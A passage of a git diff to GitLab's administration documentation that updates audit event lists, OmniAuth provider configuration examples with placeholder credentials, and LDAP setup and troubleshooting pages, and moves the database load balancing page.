+See the [Specify a retention period for audit events](https://gitlab.com/gitlab-org/gitlab/-/issues/8137) for more information.
+
## List of events
There are two kinds of events logged:
@@ -97,7 +101,8 @@ From there, you can see the following actions:
- 2FA enforcement or grace period changed.
- Roles allowed to create project changed.
- Group CI/CD variable added, removed, or protected status changed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30857) in GitLab 13.3.
-- Compliance framework created, updated, or deleted. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/340649) in GitLab 14.6.
+- Compliance framework created, updated, or deleted. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/340649) in GitLab 14.5.
+- Event streaming destination created, updated, or deleted. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/344664) in GitLab 14.6.
Group events can also be accessed via the [Group Audit Events API](../api/audit_events.md#group-audit-events)
@@ -128,6 +133,10 @@ From there, you can see the following actions:
- Release was updated
- Release milestone associations changed
- Permission to approve merge requests by committers was updated ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7531) in GitLab 12.9)
+- Permission to approve merge requests by committers was updated.
+ - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7531) in GitLab 12.9.
+ - Message for event [changed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/72623/diffs) in GitLab 14.6.
+
- Permission to approve merge requests by authors was updated ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7531) in GitLab 12.9)
- Number of required approvals was updated ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7531) in GitLab 12.9)
- Added or removed users and groups from project approval groups ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213603) in GitLab 13.2)
@@ -203,7 +212,7 @@ Events visible in Audit Events views until more events are logged.
### "Deleted User" events
-Audit events can be created for a user after the user is deleted. The user name associated with the event is set to
+Audit events can be created for a user after the user is deleted. The user name associated with the event is set to
"Deleted User" because the actual user name is unknowable. For example, if a deleted user's access to a project is
removed automatically due to expiration, the audit event is created for "Deleted User". We are [investigating](https://gitlab.com/gitlab-org/gitlab/-/issues/343933)
whether this is avoidable.
diff --git a/doc/administration/auth/atlassian.md b/doc/administration/auth/atlassian.md
index 14c48231a3d..5fa10c4c119 100644
--- a/doc/administration/auth/atlassian.md
+++ b/doc/administration/auth/atlassian.md
@@ -50,9 +50,10 @@ To enable the Atlassian OmniAuth provider for passwordless authentication you mu
gitlab_rails['omniauth_providers'] = [
{
name: "atlassian_oauth2",
+ # label: "Provider name", # optional label for login button, defaults to "Atlassian"
app_id: "YOUR_CLIENT_ID",
app_secret: "YOUR_CLIENT_SECRET",
- args: { scope: 'offline_access read:jira-user read:jira-work', prompt: 'consent' }
+ args: { scope: "offline_access read:jira-user read:jira-work", prompt: "consent" }
}
]
```
@@ -60,10 +61,12 @@ To enable the Atlassian OmniAuth provider for passwordless authentication you mu
For installations from source:
```yaml
- - name: "atlassian_oauth2",
- app_id: "YOUR_CLIENT_ID",
- app_secret: "YOUR_CLIENT_SECRET",
- args: { scope: 'offline_access read:jira-user read:jira-work', prompt: 'consent' }
+ - { name: "atlassian_oauth2",
+ # label: "Provider name", # optional label for login button, defaults to "Atlassian"
+ app_id: "YOUR_CLIENT_ID",
+ app_secret: "YOUR_CLIENT_SECRET",
+ args: { scope: "offline_access read:jira-user read:jira-work", prompt: "consent" }
+ }
```
1. Change `YOUR_CLIENT_ID` and `YOUR_CLIENT_SECRET` to the Client credentials you received in [application registration](#atlassian-application-registration) steps.
diff --git a/doc/administration/auth/authentiq.md b/doc/administration/auth/authentiq.md
index 19ee143a72a..4220e552196 100644
--- a/doc/administration/auth/authentiq.md
+++ b/doc/administration/auth/authentiq.md
@@ -36,12 +36,13 @@ Authentiq generates a Client ID and the accompanying Client Secret for you to us
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "authentiq",
- "app_id" => "YOUR_CLIENT_ID",
- "app_secret" => "YOUR_CLIENT_SECRET",
- "args" => {
- "scope": 'aq:name email~rs address aq:push'
- }
+ name: "authentiq",
+ # label: "Provider name", # optional label for login button, defaults to "Authentiq"
+ app_id: "YOUR_CLIENT_ID",
+ app_secret: "YOUR_CLIENT_SECRET",
+ args: {
+ "scope": 'aq:name email~rs address aq:push'
+ }
}
]
```
@@ -50,6 +51,7 @@ Authentiq generates a Client ID and the accompanying Client Secret for you to us
```yaml
- { name: 'authentiq',
+ # label: 'Provider name', # optional label for login button, defaults to "Authentiq"
app_id: 'YOUR_CLIENT_ID',
app_secret: 'YOUR_CLIENT_SECRET',
args: {
diff --git a/doc/administration/auth/cognito.md b/doc/administration/auth/cognito.md
index d137489a838..718a2919ed0 100644
--- a/doc/administration/auth/cognito.md
+++ b/doc/administration/auth/cognito.md
@@ -56,25 +56,25 @@ Include the code block in the `/etc/gitlab/gitlab.rb` file:
gitlab_rails['omniauth_allow_single_sign_on'] = ['cognito']
gitlab_rails['omniauth_providers'] = [
{
- "name" => "cognito",
- # "label" => "Cognito",
- # "icon" => nil, # Optional icon URL
- "app_id" => "CLIENT ID",
- "app_secret" => "CLIENT SECRET",
- "args" => {
- "scope" => "openid profile email",
+ name: "cognito",
+ label: "Provider name", # optional label for login button, defaults to "Cognito"
+ icon: nil, # Optional icon URL
+ app_id: "CLIENT ID",
+ app_secret: "CLIENT SECRET",
+ args: {
+ scope: "openid profile email",
client_options: {
- 'site' => 'https://your_domain.auth.your_region.amazoncognito.com',
- 'authorize_url' => '/oauth2/authorize',
- 'token_url' => '/oauth2/token',
- 'user_info_url' => '/oauth2/userInfo'
+ site: "https://your_domain.auth.your_region.amazoncognito.com",
+ authorize_url: "/oauth2/authorize",
+ token_url: "/oauth2/token",
+ user_info_url: "/oauth2/userInfo"
},
user_response_structure: {
root_path: [],
- id_path: ['sub'],
- attributes: { nickname: 'email', name: 'email', email: 'email' }
+ id_path: ["sub"],
+ attributes: { nickname: "email", name: "email", email: "email" }
},
- name: 'cognito',
+ name: "cognito",
strategy_class: "OmniAuth::Strategies::OAuth2Generic"
}
}
diff --git a/doc/administration/auth/crowd.md b/doc/administration/auth/crowd.md
index 466e208a52e..265bba8a9b1 100644
--- a/doc/administration/auth/crowd.md
+++ b/doc/administration/auth/crowd.md
@@ -46,11 +46,12 @@ this provider also allows Crowd authentication for Git-over-https requests.
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "crowd",
- "args" => {
- "crowd_server_url" => "CROWD_SERVER_URL",
- "application_name" => "YOUR_APP_NAME",
- "application_password" => "YOUR_APP_PASSWORD"
+ name: "crowd",
+ # label: "Provider name", # optional label for login button, defaults to "Crowd"
+ args: {
+ crowd_server_url: "CROWD_SERVER_URL",
+ application_name: "YOUR_APP_NAME",
+ application_password: "YOUR_APP_PASSWORD"
}
}
]
@@ -60,6 +61,7 @@ this provider also allows Crowd authentication for Git-over-https requests.
```yaml
- { name: 'crowd',
+ # label: 'Provider name', # optional label for login button, defaults to "Crowd"
args: {
crowd_server_url: 'CROWD_SERVER_URL',
application_name: 'YOUR_APP_NAME',
diff --git a/doc/administration/auth/jwt.md b/doc/administration/auth/jwt.md
index 26e523cb802..9298b04cbc1 100644
--- a/doc/administration/auth/jwt.md
+++ b/doc/administration/auth/jwt.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# JWT OmniAuth provider **(FREE SELF)**
To enable the JWT OmniAuth provider, you must register your application with JWT.
-JWT will provide you with a secret key for you to use.
+JWT provides you with a secret key for you to use.
1. On your GitLab server, open the configuration file.
@@ -32,14 +32,15 @@ JWT will provide you with a secret key for you to use.
```ruby
gitlab_rails['omniauth_providers'] = [
- { name: 'jwt',
+ { name: "jwt",
+ label: "Provider name", # optional label for login button, defaults to "Jwt"
args: {
- secret: 'YOUR_APP_SECRET',
- algorithm: 'HS256', # Supported algorithms: 'RS256', 'RS384', 'RS512', 'ES256', 'ES384', 'ES512', 'HS256', 'HS384', 'HS512'
- uid_claim: 'email',
- required_claims: ['name', 'email'],
- info_map: { name: 'name', email: 'email' },
- auth_url: 'https://example.com/',
+ secret: "YOUR_APP_SECRET",
+ algorithm: "HS256", # Supported algorithms: "RS256", "RS384", "RS512", "ES256", "ES384", "ES512", "HS256", "HS384", "HS512"
+ uid_claim: "email",
+ required_claims: ["name", "email"],
+ info_map: { name: "name", email: "email" },
+ auth_url: "https://example.com/",
valid_within: 3600 # 1 hour
}
}
@@ -50,6 +51,7 @@ JWT will provide you with a secret key for you to use.
```yaml
- { name: 'jwt',
+ label: 'Provider name', # optional label for login button, defaults to "Jwt"
args: {
secret: 'YOUR_APP_SECRET',
algorithm: 'HS256', # Supported algorithms: 'RS256', 'RS384', 'RS512', 'ES256', 'ES384', 'ES512', 'HS256', 'HS384', 'HS512'
@@ -72,9 +74,9 @@ JWT will provide you with a secret key for you to use.
installed GitLab via Omnibus or from source respectively.
On the sign in page there should now be a JWT icon below the regular sign in form.
-Click the icon to begin the authentication process. JWT will ask the user to
+Click the icon to begin the authentication process. JWT asks the user to
sign in and authorize the GitLab application. If everything goes well, the user
-will be redirected to GitLab and will be signed in.
+is redirected to GitLab and signed in.
<!-- ## Troubleshooting
diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md
index 9047cfae1e9..f551c362784 100644
--- a/doc/administration/auth/ldap/index.md
+++ b/doc/administration/auth/ldap/index.md
@@ -23,7 +23,7 @@ Users added through LDAP:
- Take a [licensed seat](../../../subscriptions/self_managed/index.md#billable-users).
- Can authenticate with Git using either their GitLab username or their email and LDAP password,
- even if password authentication for Git
+ even if password authentication for Git
[is disabled](../../../user/admin_area/settings/sign_in_restrictions.md#password-authentication-enabled).
The LDAP DN is associated with existing GitLab users when:
@@ -41,7 +41,7 @@ If an existing GitLab user wants to enable LDAP sign-in for themselves, they sho
GitLab has multiple mechanisms to verify a user is still active in LDAP. If the user is no longer active in
LDAP, they are placed in an `ldap_blocked` status and are signed out. They are unable to sign in using any authentication provider until they are
-reactivated in LDAP.
+reactivated in LDAP.
Users are considered inactive in LDAP when they:
@@ -52,7 +52,8 @@ Users are considered inactive in LDAP when they:
Status is checked for all LDAP users:
-- When signing in using any authentication provider.
+- When signing in using any authentication provider. [In GitLab 14.4 and earlier](https://gitlab.com/gitlab-org/gitlab/-/issues/343298), status was
+ checked only when signing in using LDAP directly.
- Once per hour for active web sessions or Git requests using tokens or SSH keys.
- When performing Git over HTTP requests using LDAP username and password.
- Once per day during [User Sync](ldap_synchronization.md#user-sync).
@@ -221,6 +222,51 @@ These LDAP sync configuration settings are available:
| `external_groups` | An array of CNs of groups containing users that should be considered external. Not `cn=interns` or the full DN. | **{dotted-circle}** No | `['interns', 'contractors']` |
| `sync_ssh_keys` | The LDAP attribute containing a user's public SSH key. | **{dotted-circle}** No | `'sshPublicKey'` or false if not set |
+### Use multiple LDAP servers **(PREMIUM SELF)**
+
+If you have users on multiple LDAP servers, you can configure GitLab to use them. To add additional LDAP servers:
+
+1. Duplicate the [`main` LDAP configuration](#configure-ldap).
+1. Edit each duplicate configuration with the details of the additional servers.
+ - For each additional server, choose a different provider ID, like `main`, `secondary`, or `tertiary`. Use lowercase
+ alphanumeric characters. GitLab uses the provider ID to associate each user with a specific LDAP server.
+ - For each entry, use a unique `label` value. These values are used for the tab names on the sign-in page.
+
+#### Example of multiple LDAP servers
+
+The following example shows how to configure three LDAP servers in `gitlab.rb`:
+
+```ruby
+gitlab_rails['ldap_enabled'] = true
+gitlab_rails['ldap_servers'] = {
+'main' => {
+ 'label' => 'GitLab AD',
+ 'host' => 'ad.example.org',
+ 'port' => 636,
+ ...
+ },
+
+'secondary' => {
+ 'label' => 'GitLab Secondary AD',
+ 'host' => 'ad-secondary.example.net',
+ 'port' => 636,
+ ...
+ },
+
+'tertiary' => {
+ 'label' => 'GitLab Tertiary AD',
+ 'host' => 'ad-tertiary.example.net',
+ 'port' => 636,
+ ...
+ }
+
+}
+```
+
+This example results in the following sign-in page:
+
+![Multiple LDAP servers sign in](img/multi_login.gif)
+
### Set up LDAP user filter
To limit all GitLab access to a subset of the LDAP users on your LDAP server, first narrow the
@@ -451,56 +497,6 @@ If initially your LDAP configuration looked like:
1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect.
-## Multiple LDAP servers **(PREMIUM SELF)**
-
-With GitLab, you can configure multiple LDAP servers that your GitLab instance
-connects to.
-
-To add another LDAP server:
-
-1. Duplicate the settings under [the main configuration](#configure-ldap).
-1. Edit them to match the additional LDAP server.
-
-Be sure to choose a different provider ID made of letters a-z and numbers 0-9.
-This ID is stored in the database so that GitLab can remember which LDAP
-server a user belongs to.
-
-![Multiple LDAP Servers Sign in](img/multi_login.gif)
-
-Based on the example illustrated on the image above,
-our `gitlab.rb` configuration would look like:
-
-```ruby
-gitlab_rails['ldap_enabled'] = true
-gitlab_rails['ldap_servers'] = {
-'main' => {
- 'label' => 'GitLab AD',
- 'host' => 'ad.example.org',
- 'port' => 636,
- ...
- },
-
-'secondary' => {
- 'label' => 'GitLab Secondary AD',
- 'host' => 'ad-secondary.example.net',
- 'port' => 636,
- ...
- },
-
-'tertiary' => {
- 'label' => 'GitLab Tertiary AD',
- 'host' => 'ad-tertiary.example.net',
- 'port' => 636,
- ...
- }
-
-}
-```
-
-If you configure multiple LDAP servers, use a unique naming convention for the
-`label` section of each entry. That label is used as the display name of the tab
-shown on the sign-in page.
-
## Disable anonymous LDAP authentication
GitLab doesn't support TLS client authentication. Complete these steps on your LDAP server.
diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md
index aa40060c4c1..63e4490e332 100644
--- a/doc/administration/auth/ldap/ldap-troubleshooting.md
+++ b/doc/administration/auth/ldap/ldap-troubleshooting.md
@@ -106,7 +106,7 @@ here are some questions to ask yourself:
- Does the user pass through the [configured `user_filter`](index.md#set-up-ldap-user-filter)?
If one is not configured, this question can be ignored. If it is, then the
user must also pass through this filter to be allowed to sign in.
- - Refer to our docs on [debugging the `user_filter`](#debug-ldap-user-filter).
+ - Refer to our documentation on [debugging the `user_filter`](#debug-ldap-user-filter).
If the above are both okay, the next place to look for the problem is
the logs themselves while reproducing the issue.
@@ -316,7 +316,7 @@ LDAP search error: No Such Object
User Update (0.4ms) UPDATE "users" SET "state" = $1, "updated_at" = $2 WHERE "users"."id" = $3 [["state", "ldap_blocked"], ["updated_at", "2019-10-18 15:46:22.902177"], ["id", 20]]
```
-Once the user is found in LDAP, the rest of the output updates the GitLab
+After the user is found in LDAP, the rest of the output updates the GitLab
database with any changes.
#### Query a user in LDAP
@@ -337,8 +337,8 @@ Gitlab::Auth::Ldap::Person.find_by_uid('<uid>', adapter)
#### Membership(s) not granted
Sometimes you may think a particular user should be added to a GitLab group via
-LDAP group sync, but for some reason it's not happening. There are several
-things to check to debug the situation.
+LDAP group sync, but for some reason it's not happening. You can check several
+things to debug the situation.
- Ensure LDAP configuration has a `group_base` specified.
[This configuration](ldap_synchronization.md#group-sync) is required for group sync to work properly.
@@ -421,7 +421,7 @@ Started syncing 'ldapmain' provider for 'my_group' group
```
The following entry shows an array of all user DNs GitLab sees in the LDAP server.
-These are the users for a single LDAP group, not a GitLab group. If
+These DNs are the users for a single LDAP group, not a GitLab group. If
you have multiple LDAP groups linked to this GitLab group, you see multiple
log entries like this - one for each LDAP group. If you don't see an LDAP user
DN in this log entry, LDAP is not returning the user when we do the lookup.
@@ -545,7 +545,7 @@ updates the stored DN to the new value so both values now match what's in
LDAP.
If the email has changed and the DN has not, GitLab finds the user with
-the DN and update its own record of the user's email to match the one in LDAP.
+the DN and updates its own record of the user's email to match the one in LDAP.
However, if the primary email _and_ the DN change in LDAP, then GitLab
has no way of identifying the correct LDAP record of the user and, as a
@@ -563,7 +563,7 @@ email address are removed first. This is because emails have to be unique in Git
Go to the [rails console](#rails-console) and then run:
```ruby
-# Each entry will have to include the old username and the new email
+# Each entry must include the old username and the new email
emails = {
'ORIGINAL_USERNAME' => 'NEW_EMAIL_ADDRESS',
...
@@ -582,8 +582,8 @@ for each of these users.
## Expired license causes errors with multiple LDAP servers
-Using [multiple LDAP servers](index.md#multiple-ldap-servers) requires a valid license. An expired
-license can cause:
+Using [multiple LDAP servers](index.md#use-multiple-ldap-servers) requires a valid license. An expired license can
+cause:
- `502` errors in the web interface.
- The following error in logs (the actual strategy name depends on the name configured in `/etc/gitlab/gitlab.rb`):
@@ -686,7 +686,7 @@ For more information, see the [official `ldapsearch` documentation](https://linu
### Using **AdFind** (Windows)
-You can use the [`AdFind`](https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx) utility (on Windows based systems) to test that your LDAP server is accessible and authentication is working correctly. This is a freeware utility built by [Joe Richards](http://www.joeware.net/freetools/tools/adfind/index.htm).
+You can use the [`AdFind`](https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx) utility (on Windows based systems) to test that your LDAP server is accessible and authentication is working correctly. AdFind is a freeware utility built by [Joe Richards](http://www.joeware.net/freetools/tools/adfind/index.htm).
**Return all objects**
@@ -719,9 +719,8 @@ For instructions about how to use the rails console, refer to this
#### Enable debug output
-This provides debug output that is useful to see
-what GitLab is doing and with what. This value is not persisted, and is only
-enabled for this session in the rails console.
+This provides debug output that shows what GitLab is doing and with what.
+This value is not persisted, and is only enabled for this session in the Rails console.
To enable debug output in the rails console, [enter the rails
console](#rails-console) and run:
diff --git a/doc/administration/auth/ldap/ldap_synchronization.md b/doc/administration/auth/ldap/ldap_synchronization.md
index 2673a8374ec..8ccd8fecbcf 100644
--- a/doc/administration/auth/ldap/ldap_synchronization.md
+++ b/doc/administration/auth/ldap/ldap_synchronization.md
@@ -127,8 +127,8 @@ following.
1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect.
-To take advantage of group sync, group owners or maintainers must [create one
-or more LDAP group links](#add-group-links).
+To take advantage of group sync, group Owners or users with the [Maintainer role](../../../user/permissions.md) must
+[create one or more LDAP group links](#add-group-links).
### Add group links
diff --git a/doc/administration/auth/oidc.md b/doc/administration/auth/oidc.md
index b8c443ae4d4..7ab1f2f5feb 100644
--- a/doc/administration/auth/oidc.md
+++ b/doc/administration/auth/oidc.md
@@ -35,22 +35,23 @@ The OpenID Connect provides you with a client's details and secret for you to us
```ruby
gitlab_rails['omniauth_providers'] = [
- { 'name' => 'openid_connect',
- 'label' => '<your_oidc_label>',
- 'icon' => '<custom_provider_icon>',
- 'args' => {
- 'name' => 'openid_connect',
- 'scope' => ['openid','profile','email'],
- 'response_type' => 'code',
- 'issuer' => '<your_oidc_url>',
- 'discovery' => true,
- 'client_auth_method' => 'query',
- 'uid_field' => '<uid_field>',
- 'send_scope_to_token_endpoint' => 'false',
- 'client_options' => {
- 'identifier' => '<your_oidc_client_id>',
- 'secret' => '<your_oidc_client_secret>',
- 'redirect_uri' => '<your_gitlab_url>/users/auth/openid_connect/callback'
+ {
+ name: "openid_connect",
+ label: "Provider name", # optional label for login button, defaults to "Openid Connect"
+ icon: "<custom_provider_icon>",
+ args: {
+ name: "openid_connect",
+ scope: ["openid","profile","email"],
+ response_type: "code",
+ issuer: "<your_oidc_url>",
+ discovery: true,
+ client_auth_method: "query",
+ uid_field: "<uid_field>",
+ send_scope_to_token_endpoint: "false",
+ client_options: {
+ identifier: "<your_oidc_client_id>",
+ secret: "<your_oidc_client_secret>",
+ redirect_uri: "<your_gitlab_url>/users/auth/openid_connect/callback"
}
}
}
@@ -61,7 +62,7 @@ The OpenID Connect provides you with a client's details and secret for you to us
```yaml
- { name: 'openid_connect',
- label: '<your_oidc_label>',
+ label: 'Provider name', # optional label for login button, defaults to "Openid Connect"
icon: '<custom_provider_icon>',
args: {
name: 'openid_connect',
@@ -136,20 +137,20 @@ for more details:
```ruby
gitlab_rails['omniauth_providers'] = [
{
- 'name' => 'openid_connect',
- 'label' => 'Google OpenID',
- 'args' => {
- 'name' => 'openid_connect',
- 'scope' => ['openid', 'profile', 'email'],
- 'response_type' => 'code',
- 'issuer' => 'https://accounts.google.com',
- 'client_auth_method' => 'query',
- 'discovery' => true,
- 'uid_field' => 'preferred_username',
- 'client_options' => {
- 'identifier' => '<YOUR PROJECT CLIENT ID>',
- 'secret' => '<YOUR PROJECT CLIENT SECRET>',
- 'redirect_uri' => 'https://example.com/users/auth/openid_connect/callback',
+ name: "openid_connect",
+ label: "Google OpenID", # optional label for login button, defaults to "Openid Connect"
+ args: {
+ name: "openid_connect",
+ scope: ["openid", "profile", "email"],
+ response_type: "code",
+ issuer: "https://accounts.google.com",
+ client_auth_method: "query",
+ discovery: true,
+ uid_field: "preferred_username",
+ client_options: {
+ identifier: "<YOUR PROJECT CLIENT ID>",
+ secret: "<YOUR PROJECT CLIENT SECRET>",
+ redirect_uri: "https://example.com/users/auth/openid_connect/callback",
}
}
}
@@ -173,20 +174,20 @@ Example Omnibus configuration block:
```ruby
gitlab_rails['omniauth_providers'] = [
{
- 'name' => 'openid_connect',
- 'label' => 'Azure OIDC',
- 'args' => {
- 'name' => 'openid_connect',
- 'scope' => ['openid', 'profile', 'email'],
- 'response_type' => 'code',
- 'issuer' => 'https://login.microsoftonline.com/<YOUR-TENANT-ID>/v2.0',
- 'client_auth_method' => 'query',
- 'discovery' => true,
- 'uid_field' => 'preferred_username',
- 'client_options' => {
- 'identifier' => '<YOUR APP CLIENT ID>',
- 'secret' => '<YOUR APP CLIENT SECRET>',
- 'redirect_uri' => 'https://gitlab.example.com/users/auth/openid_connect/callback'
+ name: "openid_connect",
+ label: "Azure OIDC", # optional label for login button, defaults to "Openid Connect"
+ args: {
+ name: "openid_connect",
+ scope: ["openid", "profile", "email"],
+ response_type: "code",
+ issuer: "https://login.microsoftonline.com/<YOUR-TENANT-ID>/v2.0",
+ client_auth_method: "query",
+ discovery: true,
+ uid_field: "preferred_username",
+ client_options: {
+ identifier: "<YOUR APP CLIENT ID>",
+ secret: "<YOUR APP CLIENT SECRET>",
+ redirect_uri: "https://gitlab.example.com/users/auth/openid_connect/callback"
}
}
}
@@ -302,21 +303,21 @@ The trailing forward slash is required.
```ruby
gitlab_rails['omniauth_providers'] = [
{
- 'name' => 'openid_connect',
- 'label' => 'Azure B2C OIDC',
- 'args' => {
- 'name' => 'openid_connect',
- 'scope' => ['openid'],
- 'response_mode' => 'query',
- 'response_type' => 'id_token',
- 'issuer' => 'https://<YOUR-DOMAIN>/tfp/<YOUR-TENANT-ID>/b2c_1a_signup_signin/v2.0/',
- 'client_auth_method' => 'query',
- 'discovery' => true,
- 'send_scope_to_token_endpoint' => true,
- 'client_options' => {
- 'identifier' => '<YOUR APP CLIENT ID>',
- 'secret' => '<YOUR APP CLIENT SECRET>',
- 'redirect_uri' => 'https://gitlab.example.com/users/auth/openid_connect/callback'
+ name: "openid_connect",
+ label: "Azure B2C OIDC", # optional label for login button, defaults to "Openid Connect"
+ args: {
+ name: "openid_connect",
+ scope: ["openid"],
+ response_mode: "query",
+ response_type: "id_token",
+ issuer: "https://<YOUR-DOMAIN>/tfp/<YOUR-TENANT-ID>/b2c_1a_signup_signin/v2.0/",
+ client_auth_method: "query",
+ discovery: true,
+ send_scope_to_token_endpoint: true,
+ client_options: {
+ identifier: "<YOUR APP CLIENT ID>",
+ secret: "<YOUR APP CLIENT SECRET>",
+ redirect_uri: "https://gitlab.example.com/users/auth/openid_connect/callback"
}
}
}]
@@ -359,20 +360,20 @@ Example Omnibus configuration block:
```ruby
gitlab_rails['omniauth_providers'] = [
{
- 'name' => 'openid_connect',
- 'label' => 'Keycloak',
- 'args' => {
- 'name' => 'openid_connect',
- 'scope' => ['openid', 'profile', 'email'],
- 'response_type' => 'code',
- 'issuer' => 'https://keycloak.example.com/auth/realms/myrealm',
- 'client_auth_method' => 'query',
- 'discovery' => true,
- 'uid_field' => 'preferred_username',
- 'client_options' => {
- 'identifier' => '<YOUR CLIENT ID>',
- 'secret' => '<YOUR CLIENT SECRET>',
- 'redirect_uri' => 'https://gitlab.example.com/users/auth/openid_connect/callback'
+ name: "openid_connect",
+ label: "Keycloak", # optional label for login button, defaults to "Openid Connect"
+ args: {
+ name: "openid_connect",
+ scope: ["openid", "profile", "email"],
+ response_type: "code",
+ issuer: "https://keycloak.example.com/auth/realms/myrealm",
+ client_auth_method: "query",
+ discovery: true,
+ uid_field: "preferred_username",
+ client_options: {
+ identifier: "<YOUR CLIENT ID>",
+ secret: "<YOUR CLIENT SECRET>",
+ redirect_uri: "https://gitlab.example.com/users/auth/openid_connect/callback"
}
}
}
@@ -436,21 +437,21 @@ To use symmetric key encryption:
```ruby
gitlab_rails['omniauth_providers'] = [
{
- 'name' => 'openid_connect',
- 'label' => 'Keycloak',
- 'args' => {
- 'name' => 'openid_connect',
- 'scope' => ['openid', 'profile', 'email'],
- 'response_type' => 'code',
- 'issuer' => 'https://keycloak.example.com/auth/realms/myrealm',
- 'client_auth_method' => 'query',
- 'discovery' => true,
- 'uid_field' => 'preferred_username',
- 'jwt_secret_base64' => '<YOUR BASE64-ENCODED SECRET>',
- 'client_options' => {
- 'identifier' => '<YOUR CLIENT ID>',
- 'secret' => '<YOUR CLIENT SECRET>',
- 'redirect_uri' => 'https://gitlab.example.com/users/auth/openid_connect/callback'
+ name: "openid_connect",
+ label: "Keycloak", # optional label for login button, defaults to "Openid Connect"
+ args: {
+ name: "openid_connect",
+ scope: ["openid", "profile", "email"],
+ response_type: "code",
+ issuer: "https://keycloak.example.com/auth/realms/myrealm",
+ client_auth_method: "query",
+ discovery: true,
+ uid_field: "preferred_username",
+ jwt_secret_base64: "<YOUR BASE64-ENCODED SECRET>",
+ client_options: {
+ identifier: "<YOUR CLIENT ID>",
+ secret: "<YOUR CLIENT SECRET>",
+ redirect_uri: "https://gitlab.example.com/users/auth/openid_connect/callback"
}
}
}
diff --git a/doc/administration/cicd.md b/doc/administration/cicd.md
index d53290f1d5d..a7bd07d5d38 100644
--- a/doc/administration/cicd.md
+++ b/doc/administration/cicd.md
@@ -58,9 +58,9 @@ For Omnibus GitLab installations:
sudo gitlab-ctl reconfigure
```
-## Set the `needs:` job limit **(FREE SELF)**
+## Set the `needs` job limit **(FREE SELF)**
-The maximum number of jobs that can be defined in `needs:` defaults to 50.
+The maximum number of jobs that can be defined in `needs` defaults to 50.
A GitLab administrator with [access to the GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session)
can choose a custom limit. For example, to set the limit to `100`:
diff --git a/doc/administration/clusters/kas.md b/doc/administration/clusters/kas.md
index 93b24007de8..b5c0a6ee76a 100644
--- a/doc/administration/clusters/kas.md
+++ b/doc/administration/clusters/kas.md
@@ -4,13 +4,15 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Install the Kubernetes Agent Server (KAS) **(PREMIUM SELF)**
+# Install the GitLab Agent Server (KAS) **(FREE SELF)**
-The Kubernetes Agent Server (KAS) is a GitLab backend service dedicated to
-managing [Kubernetes Agents](../../user/clusters/agent/index.md).
+> [Moved](https://gitlab.com/groups/gitlab-org/-/epics/6290) from GitLab Premium to GitLab Free in 14.5.
+
+The GitLab Agent Server (KAS) is a GitLab backend service dedicated to
+managing the [GitLab Agent](../../user/clusters/agent/index.md).
The KAS is already installed and available in GitLab.com under `wss://kas.gitlab.com`.
-See [how to use GitLab.com's KAS](../../user/clusters/agent/install/index.md#set-up-the-kubernetes-agent-server).
+See [how to use GitLab.com's KAS](../../user/clusters/agent/install/index.md#set-up-the-agent-server).
This document describes how to install a KAS for GitLab self-managed instances.
## Installation options
@@ -27,7 +29,7 @@ You can also opt to use an [external KAS](#use-an-external-kas-installation).
For [Omnibus](https://docs.gitlab.com/omnibus/) package installations:
-1. Edit `/etc/gitlab/gitlab.rb` to enable the Kubernetes Agent Server:
+1. Edit `/etc/gitlab/gitlab.rb` to enable the Agent Server:
```ruby
gitlab_kas['enable'] = true
diff --git a/doc/administration/compliance.md b/doc/administration/compliance.md
index a05495c024e..7cecc0c30fd 100644
--- a/doc/administration/compliance.md
+++ b/doc/administration/compliance.md
@@ -73,7 +73,7 @@ These features can also help with compliance requirements:
- [**Generate reports on permission levels of users**](../user/admin_area/index.md#user-permission-export) (for
instances): Administrators can generate a report listing all users' access permissions for groups and projects in the
instance.
-- [**Lock project membership to group**](../user/group/index.md#prevent-members-from-being-added-to-a-group) (for
+- [**Lock project membership to group**](../user/group/index.md#prevent-members-from-being-added-to-projects-in-a-group) (for
groups): Group owners can prevent new members from being added to projects within a group.
- [**LDAP group sync**](auth/ldap/ldap_synchronization.md#group-sync) (for instances): Gives administrators the ability
to automatically sync groups and manage SSH keys, permissions, and authentication, so you can focus on building your
diff --git a/doc/administration/database_load_balancing.md b/doc/administration/database_load_balancing.md
index 45f27a8a8f2..92b8342f251 100644
--- a/doc/administration/database_load_balancing.md
+++ b/doc/administration/database_load_balancing.md
@@ -1,272 +1,9 @@
---
-stage: Enablement
-group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'postgresql/database_load_balancing.md'
+remove_date: '2022-02-19'
---
-# Database Load Balancing **(FREE SELF)**
+This file was moved to [another location](postgresql/database_load_balancing.md).
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1283) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.0.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60894) from GitLab Premium to GitLab Free in 14.0.
-
-Distribute read-only queries among multiple database servers.
-
-## Overview
-
-Database load balancing improves the distribution of database workloads across
-multiple computing resources. Load balancing aims to optimize resource use,
-maximize throughput, minimize response time, and avoid overload of any single
